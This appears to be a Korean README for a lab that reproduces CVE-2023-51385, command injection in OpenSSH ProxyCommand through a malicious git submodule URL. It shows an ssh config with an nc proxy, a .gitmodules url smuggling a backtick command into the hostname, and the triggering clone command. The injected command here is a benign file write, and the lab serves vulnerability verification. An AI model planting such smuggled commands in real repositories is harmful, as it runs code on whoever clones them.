lsp1025923/cve-2023-51385CVE-2023-51385 재현 랩: 악성 git 서브모듈 URL을 통한 OpenSSH ProxyCommand의 명령 주입. 취약점 검증을 위한 단계별 가이드.
먼저 ~/.ssh/config에 다음 내용을 추가해야 합니다
host *.example.com
ProxyCommand /usr/bin/nc -X connect -x 192.0.2.0:8080 %h %p
.gitmodules 파일 구문에 명령 주입이 존재합니다
url = ssh://`echo helloworld > cve.txt`foo.example.com/bar
구성이 완료되면 아래 명령을 실행하여 트리거합니다
git clone https://github.com/LtmThink/CVE-2023-51385_test --recurse-submodules
성공적으로 실행되면 CVE-2023-51385_test 디렉토리에 cve.txt 파일이 생성됩니다
참고: OpenSSH는 <9.6p1이 필요합니다
자세한 내용은 이 블로그를 참조하세요:
"# cve-2023-51385"